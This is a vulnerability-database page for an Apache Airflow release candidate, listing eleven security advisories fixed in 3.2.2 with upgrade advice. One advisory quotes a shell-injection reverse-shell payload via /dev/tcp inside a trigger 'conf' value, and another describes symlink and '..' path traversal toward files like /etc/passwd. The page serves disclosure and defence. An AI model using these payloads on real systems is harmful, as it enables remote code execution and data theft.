Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:pypi/apache-airflow@3.2.2rc3
purl pkg:pypi/apache-airflow@3.2.2rc3
Next non-vulnerable version 3.2.2
Latest non-vulnerable version 3.2.2
Risk 4.1
Vulnerabilities affecting this package (11)
Vulnerability Summary Fixed by
VCID-1w96-f72k-ryap
Aliases:
CVE-2026-40861
PYSEC-2026-181
A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK's `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.
3.2.2
Affected by 0 other vulnerabilities.
VCID-2zj7-8yhg-8qen
Aliases:
CVE-2026-41084
PYSEC-2026-183
A bug in Apache Airflow's bulk Task Instances API (`PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances`) evaluated authorization against the `dag_id` resolved from the URL path while operating on the `dag_id` / `dag_run_id` extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
3.2.2
Affected by 0 other vulnerabilities.
VCID-4nax-1d7y-1kbh
Aliases:
CVE-2026-41014
PYSEC-2026-182
The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
3.2.2
Affected by 0 other vulnerabilities.
VCID-5jyk-dgtu-zfhd
Aliases:
CVE-2026-45360
PYSEC-2026-186
Apache Airflow's scheduler-side deadline-reference decoder (`SerializedCustomReference.deserialize_reference`) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom `DeadlineReference` whose serialized form named an attacker-controlled module path, causing the scheduler to `import_string(...)` and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
3.2.2
Affected by 0 other vulnerabilities.
VCID-9ru4-qyks-hybs
Aliases:
CVE-2026-42252
PYSEC-2026-184
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
3.2.2
Affected by 0 other vulnerabilities.
VCID-dhj9-usjr-nbfe
Aliases:
CVE-2026-41017
PYSEC-2026-171
Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
3.2.2
Affected by 0 other vulnerabilities.
VCID-djdy-z9r3-s3a2
Aliases:
CVE-2026-48726
PYSEC-2026-187
A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for `FabAuthManager` and `KeycloakAuthManager` did not actually reach the underlying `revoke_token()` call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with `FabAuthManager` or `KeycloakAuthManager` (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side `revoke_token()` reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the FAB / Keycloak logout paths.
3.2.2
Affected by 0 other vulnerabilities.
VCID-dzfs-e5ys-fbhz
Aliases:
CVE-2026-45426
PYSEC-2026-174
Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's `str.lstrip()` to the requested path segment when verifying the JWT's `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. `dag_a` would authorize log access to any other Dag whose name began with any subset of the characters `{d, a, g, _}` (e.g. `dag_attacker`, `aaaa_target`, `_dag_secret`). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
3.2.2
Affected by 0 other vulnerabilities.
VCID-ej1r-mp6n-gudd
Aliases:
CVE-2026-45192
PYSEC-2026-173
A bug in the GET `/api/v2/connections/{connection_id}` REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's `extra` JSON blob under field names not present in the redaction allowlist (`DEFAULT_SENSITIVE_FIELDS`) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection `extra` blobs and grant Connection-read access to multiple users. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's `extra` field.
3.2.2
Affected by 0 other vulnerabilities.
VCID-frvt-ng4a-jqfh
Aliases:
CVE-2026-42359
PYSEC-2026-185
A bug in Apache Airflow's XCom PATCH endpoint `PATCH /api/v2/xcomEntries/{key}` allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. `return_value`) that the matching POST endpoint already validated against `FORBIDDEN_XCOM_KEYS`. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the `FORBIDDEN_XCOM_KEYS` validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the PATCH-path bypass.
3.2.2
Affected by 0 other vulnerabilities.
VCID-pu6f-xhvm-q3du
Aliases:
CVE-2026-42360
PYSEC-2026-172
A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested `password` / `token` / `secret` / `api_key` keys inside a JSON template structure) to be bypassed when the rendered field exceeded `[core] max_templated_field_length`: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into `rendered_fields`. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of `CWE-200` previously addressed for the user-registered `mask_secret()` patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the nested-key path.
3.2.2
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-04T16:14:44.497083+00:00 Pypa Importer Affected by VCID-djdy-z9r3-s3a2 https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-187.yaml 38.6.0
2026-06-04T16:14:44.000253+00:00 Pypa Importer Affected by VCID-dzfs-e5ys-fbhz https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-174.yaml 38.6.0
2026-06-04T16:14:43.882790+00:00 Pypa Importer Affected by VCID-5jyk-dgtu-zfhd https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-186.yaml 38.6.0
2026-06-04T16:14:43.335823+00:00 Pypa Importer Affected by VCID-pu6f-xhvm-q3du https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-172.yaml 38.6.0
2026-06-04T16:14:42.793401+00:00 Pypa Importer Affected by VCID-frvt-ng4a-jqfh https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-185.yaml 38.6.0
2026-06-04T16:14:42.759227+00:00 Pypa Importer Affected by VCID-9ru4-qyks-hybs https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-184.yaml 38.6.0
2026-06-04T16:14:42.633020+00:00 Pypa Importer Affected by VCID-2zj7-8yhg-8qen https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-183.yaml 38.6.0
2026-06-04T16:14:42.598822+00:00 Pypa Importer Affected by VCID-dhj9-usjr-nbfe https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-171.yaml 38.6.0
2026-06-04T16:14:42.471044+00:00 Pypa Importer Affected by VCID-4nax-1d7y-1kbh https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-182.yaml 38.6.0
2026-06-04T16:14:42.435145+00:00 Pypa Importer Affected by VCID-1w96-f72k-ryap https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-181.yaml 38.6.0
2026-06-04T16:14:41.889605+00:00 Pypa Importer Affected by VCID-ej1r-mp6n-gudd https://github.com/pypa/advisory-database/blob/main/vulns/apache-airflow/PYSEC-2026-173.yaml 38.6.0